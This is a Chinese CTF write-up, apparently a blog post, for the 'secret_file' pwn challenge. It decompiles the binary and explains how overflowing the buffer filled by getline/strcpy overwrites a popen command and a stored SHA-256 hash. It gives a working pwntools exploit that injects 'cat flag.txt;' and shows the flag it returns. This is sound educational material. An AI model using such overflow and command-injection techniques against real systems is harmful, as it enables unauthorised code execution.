攻防世界 Pwn secret_file

1.checksec检查保护

lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ checksec secret_file
[*] '/home/lwj/Desktop/git/ctf-pwn/secret_file/secret_file'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • 保护全开

2.运行程序

lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ ./secret_file
llllllll
wrong password!
  • 应该是要输入什么东西

3.IDA分析

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rax
  unsigned __int8 *v4; // rbp
  char *v5; // rbx
  __int64 v6; // rcx
  char *v7; // rdi
  unsigned int v8; // er12
  FILE *v9; // rbp
  size_t v11; // [rsp+0h] [rbp-308h] BYREF
  char *lineptr; // [rsp+8h] [rbp-300h] BYREF
  char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF
  char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF
  char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF
  _BYTE v16[32]; // [rsp+16Ch] [rbp-19Ch] BYREF
  char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF
  int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
  char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
  unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]

  v20 = __readfsqword(0x28u);
  sub_E60(dest, a2, a3);   <--------------------------------------<1>
  v11 = 0LL;
  lineptr = 0LL;
  if ( getline(&lineptr, &v11, stdin) == -1 )
    return 1;
  v3 = strrchr(lineptr, 10);
  if ( !v3 )
    return 1;
  *v3 = 0;
  v4 = v16;
  v5 = v17;
  strcpy(dest, lineptr);
  sub_DD0(dest, v16, 256LL);  <------------------------------------<2>
  do
  {
    v6 = *v4;
    v7 = v5;
    v5 += 2;
    ++v4;
    snprintf(v7, 3uLL, "%02x", v6);
  }
  while ( v5 != (char *)&v18 );
  v8 = strcmp(v15, v17);
  if ( v8 )
  {
    puts("wrong password!");
    return 1;
  }
  v9 = popen(v14, "r");
  if ( !v9 )
    return 1;
  while ( fgets(s, 256, v9) )
    printf("%s", s);
  fclose(v9);
  return v8;
}
  • 以上是main函数的主要代码截图,这里我们倒着分析,从程序运行结果处入手,先找到对应的"wrong password!“出处,然后逆逻辑分析一波。

  • 从程序中我们可以看出,代码中v8不为0就会输出"wrong password”,然后退出,如果v8等于0,那么后面会执行popen函数,该函数可以执行shell command,所以这里我们需要v8等于0。这里简单介绍一下popen函数:
      popen函数通过创建一个管道,调用fork产生一个子进程,通过shell来运行传入的参数命令,这个进程必须由pclose函数关闭,而不是fclose函数。

  • 接着往上看,要使v8等于0即v15和v17处的两个字符串相等

  • 对于v15,main函数代码中没有进行处理

  • 而对于v17我们可以发现代码32行处,v5 == &v17,而在do while循环中,v7 == v5

  • 而且将v6 --> v4也就是v16处的内容赋值给了v17

  • 所以我们要比较的就是v15和v16的内存内容

  • 从代码25行会看到接受我们输入的getline函数,这里存在溢出

  • getline存储内容的地址在lineptr处

  • 后面的strcpy代码会把lineptr处的内容复制到dest处

  • 然后函数②对dest和v16进行了处理。我们可以预想到v15内存地址的处理会在函数①中

  • 把我们的输入和v16联系起来处理的在函数②中。

  • 最后就剩两个函数了,在图中做了标注,分别为①和②。

下面先看函数①,sub_E60(&dest):

unsigned __int64 __fastcall sub_E60(char *a1)
{
  char v2[32]; // [rsp+0h] [rbp-78h] BYREF
  char v3[72]; // [rsp+20h] [rbp-58h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  memset(a1, 0, 0x100uLL);
  strcpy(v2, "/bin/cat ./secret_data.asc");
  snprintf(a1 + 256, 0x1BuLL, "%s", v2);
  strcpy(v3, "9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127");
  snprintf(a1 + 283, 0x41uLL, "%s", v3);
  return __readfsqword(0x28u) ^ v4;
}
  • 上述的v2至v14一系列超长整数的赋值其实应该在汇编代码界面查看其十六进制,然后选中十六进制按下快捷键D转化为数据后可以看到起字符串表示形式,这里我写了一个脚本将汇编代码中的十六进制转化为字符串:
# v2 --> v6
value1 = ["7461632F6E69622F", "65726365732F2E20", "612E617461645F74", "6373", "0"]
# v7 --> v15
value2 = ["6530306137383339", "3563333134653133", "6338306339666135", "6139313164633936", "3366653538363462", "3165626362386362", "3131363132386663", "3732313735343931", "0"]


def hex_to_str(value):
    my_str = ""
    for s in value:
        temp = []
        for i in range(len(s)):
            if i % 2 == 0:
                h_code = "0x" + s[i:i+2]
                temp.insert(0, h_code)
        temp = [chr(int(i, 16)) for i in temp]
        my_str += "".join(temp)
    
    return my_str

str1 = hex_to_str(value1)
str2 = hex_to_str(value2)
print(str1, len(str1))
print(str2, len(str2))
# /bin/cat ./secret_data.asc 27 
# 9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127 65
  • 转换为字符串后:
  • v2 --> /bin/cat ./secret_data.asc
  • v7 --> 9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127
  • 我们可以发现第一个snprintf将v2出的字符串拷贝到a1+256,a1指向dest变量,长度刚好256,a1+256也就是v14变量处,拷贝的大小也是v14到v15之间的大小。
  • 同样的,第二个snprintf将v7处的字符串拷贝到v15处,大小刚好是v15到v16之间的内存大小。

然后看一下函数②,sub_DD0(&dest, &v16, 0x100u):

unsigned __int64 __fastcall sub_DD0(__int64 a1, _QWORD *a2, unsigned int a3)
{
  _BYTE v5[120]; // [rsp+0h] [rbp-A8h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-30h]

  *a2 = 0LL;
  a2[1] = 0LL;
  v6 = __readfsqword(0x28u);
  a2[2] = 0LL;
  a2[3] = 0LL;
  SHA256_Init(v5);
  SHA256_Update(v5, a1, a3);
  SHA256_Final(a2, v5);
  return __readfsqword(0x28u) ^ v6;
}
  • SHA256_Init(&v5) 初始化v5这个指针指向的结构体;
  • SHA256_Update(&v5, a1, v3) 这个函数可以重复调用,每次将a1指向地址v3长度的字符串进行hash;
  • SHA256_Final(a2, &v5) 将最后计算出来的hash摘要存在a2指向地址的位置。
  • 整个代码实际上就是将a1 --> dest处最大为0x100的字符串,经过sha256摘要算法处理后存放到a2 --> v16处的内存地址空间。

4.程序逻辑

  • 通过比较输入和程序内部的两个字符串是否相等,来运行可以执行shell command的内嵌代码,最终拿到flag。
  • 该程序会将输入的字符串进行sha256加密,然后与内部的字符串对比,但由内部的字符串经过sha256解密较难,所以我们直接构造一个自己的字符串覆盖需要比较的内部字符串,同时自己计算出构造的字符串hash值,然后对比即可。

5.exp

from pwn import *
import hashlib

p = process("./secret_file")
# p = remote("220.249.52.134", 50897)

payload = cyclic(0x100)  # bytes
hash_code = hashlib.sha256(payload).hexdigest()
# 先输入ls命令查看有哪些文件,"ls;" 后面的冒号是终端命令截断符
# payload = payload + b"ls;".ljust(0x1B, b"a") + hash_code.encode("ISO-8859-1")
payload = payload + b"cat flag.txt;".ljust(0x1B, b"a") + hash_code.encode("ISO-8859-1")
p.sendline(payload)
p.interactive()

6.运行结果

lwj@ubuntu:~/Desktop/git/ctf-pwn/secret_file$ python exp.py
[+] Opening connection to 111.200.241.244 on port 50739: Done
[*] Switching to interactive mode
sh: 1: aaaaaaaaaaaaaa8ff68b0b8a70a387e44ba491f4894ffcb1cf575afe8106f2b912ed0b40f3e043: not found
cyberpeace{34bd1bbf924b3b1d85f307e7c466baa0}
[*] Got EOF while reading in interactive
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值